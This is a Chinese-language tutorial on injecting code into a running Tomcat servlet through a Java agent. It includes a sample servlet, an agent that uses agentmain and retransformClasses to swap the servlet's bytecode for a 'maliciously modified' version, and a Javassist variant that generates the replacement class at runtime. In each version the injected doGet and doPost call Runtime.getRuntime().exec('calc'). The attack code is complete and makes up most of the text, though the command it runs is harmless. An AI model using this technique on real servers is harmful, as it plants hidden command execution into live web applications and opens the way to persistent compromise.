搭建一個簡單的Servlet項目
ServletDemo
package com.naihe;import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;public class ServletDemo extends HttpServlet {@Overrideprotected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {resp.getWriter().write("123");}@Overrideprotected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {doGet(req, resp);}}
web.xml
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"version="4.0"metadata-complete="false"
><!--注冊Servlet--><servlet><servlet-name>demo</servlet-name><servlet-class>com.naihe.ServletDemo</servlet-class></servlet><!--Servlet的請求路徑--><servlet-mapping><servlet-name>demo</servlet-name><url-pattern>/demo</url-pattern></servlet-mapping>
</web-app>
agent?
package com.naihe;import java.io.IOException;
import java.lang.instrument.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.ProtectionDomain;public class agent {//java agent 入口public static void premain(String agentOps, Instrumentation inst) {System.out.println("=========premain方法執行========");simpleDemo(agentOps, inst);}public static void agentmain(String agentOps, Instrumentation inst) {System.out.println("=========agentmain方法執行========");simpleDemo(agentOps, inst);//transform是會對尚未加載的類進行增加代理層,這里是已經運行中的jvm,所以類以及被加載了//必須主動調用retransformClasses讓jvm再對運行中的類進行加上代理層for (Class allLoadedClass : inst.getAllLoadedClasses()) {//這里的Test路徑,修改成你自己機器agent-demo-web工程的Test類的路徑if(allLoadedClass.getName().contains("com.naihe.ServletDemo")){try {inst.retransformClasses(allLoadedClass);} catch (UnmodifiableClassException e) {e.printStackTrace();}}}}public static void simpleDemo(String agentOps, Instrumentation inst) {inst.addTransformer(new ClassFileTransformer() {@Overridepublic byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {//判斷是指定的classif ("com/naihe/ServletDemo".equals(className)) {try {//獲取更改后的類class 字節數組String path="C:/Users/12107/Desktop/ServletDemo2.class";classfileBuffer = Files.readAllBytes(Paths.get(path));} catch (IOException e) {e.printStackTrace();}}return classfileBuffer;}},true);}}
ServletDemo2為ServletDemo被惡意修改后的文件
package com.naihe;import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;public class ServletDemo extends HttpServlet {@Overrideprotected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {Runtime.getRuntime().exec("calc");resp.getWriter().write("success");}@Overrideprotected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {doGet(req, resp);}}
開啟tomcat
運行attch:
以上的利用都是自己寫好一個惡意類編譯并上傳使用,下面就是利用javaassist動態生成class后加載
利用Javaassist
package com.naihe;import javassist.*;import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.lang.instrument.*;
import java.lang.reflect.InvocationTargetException;
import java.security.ProtectionDomain;public class agent {//java agent 入口public static void premain(String agentOps, Instrumentation inst) {System.out.println("=========premain方法執行========");simpleDemo(agentOps, inst);}public static void agentmain(String agentOps, Instrumentation inst) {System.out.println("=========agentmain方法執行========");simpleDemo(agentOps, inst);//transform是會對尚未加載的類進行增加代理層,這里是已經運行中的jvm,所以類以及被加載了//必須主動調用retransformClasses讓jvm再對運行中的類進行加上代理層for (Class allLoadedClass : inst.getAllLoadedClasses()) {//這里的Test路徑,修改成你自己機器agent-demo-web工程的Test類的路徑if(allLoadedClass.getName().contains("com.naihe.ServletDemo")){try {inst.retransformClasses(allLoadedClass);} catch (UnmodifiableClassException e) {e.printStackTrace();}}}}public static void simpleDemo(String agentOps, Instrumentation inst) {inst.addTransformer(new ClassFileTransformer() {@Overridepublic byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {//判斷是指定的classif ("com/naihe/ServletDemo".equals(className)) {try {classfileBuffer = JavaassistDemo();} catch (IOException | CannotCompileException | NotFoundException | IllegalAccessException | InstantiationException | NoSuchMethodException | InvocationTargetException e) {e.printStackTrace();}}return classfileBuffer;}},true);}public static byte[] JavaassistDemo() throws CannotCompileException, IOException, NotFoundException, IllegalAccessException, InstantiationException, NoSuchMethodException, InvocationTargetException {ClassPool pool = ClassPool.getDefault();pool.importPackage("javax.servlet.http.HttpServlet");pool.importPackage("java.io.IOException");// 1. 創建一個空類CtClass cc = pool.makeClass("com.naihe.ServletDemo");// 2.添加父類cc.setSuperclass(pool.get("javax.servlet.http.HttpServlet"));// 3. 添加無參的構造函數CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);cons.setBody("{}");cc.addConstructor(cons);// 4.創建doGet方法CtMethod ctMethod = new CtMethod(CtClass.voidType, "doGet", new CtClass[]{pool.get("javax.servlet.http.HttpServletRequest"),pool.get("javax.servlet.http.HttpServletResponse")}, cc);ctMethod.setModifiers(Modifier.PROTECTED);ctMethod.setBody(" try {\n" +" Runtime.getRuntime().exec(\"calc\");\n" +" } catch (IOException var4) {\n" +" var4.printStackTrace();\n" +" }");cc.addMethod(ctMethod);// 4.創建doPost方法CtMethod ctMethod2 = new CtMethod(CtClass.voidType, "doPost", new CtClass[]{pool.get("javax.servlet.http.HttpServletRequest"),pool.get("javax.servlet.http.HttpServletResponse")}, cc);ctMethod2.setModifiers(Modifier.PROTECTED);ctMethod2.setBody(" try {\n" +" Runtime.getRuntime().exec(\"calc\");\n" +" } catch (IOException var4) {\n" +" var4.printStackTrace();\n" +" }");cc.addMethod(ctMethod2);return cc.toBytecode();}}
由于利用了第三方jar包因此想要導出所有項目,不能再像前面那樣只導出自己寫的代碼了,步驟如下
在這里我將使用javaassist的agent命名為agent2
打包好的jar就在如下位置
修改MANIFEST.MF 老樣子在前面添加
訪問demo
運行attach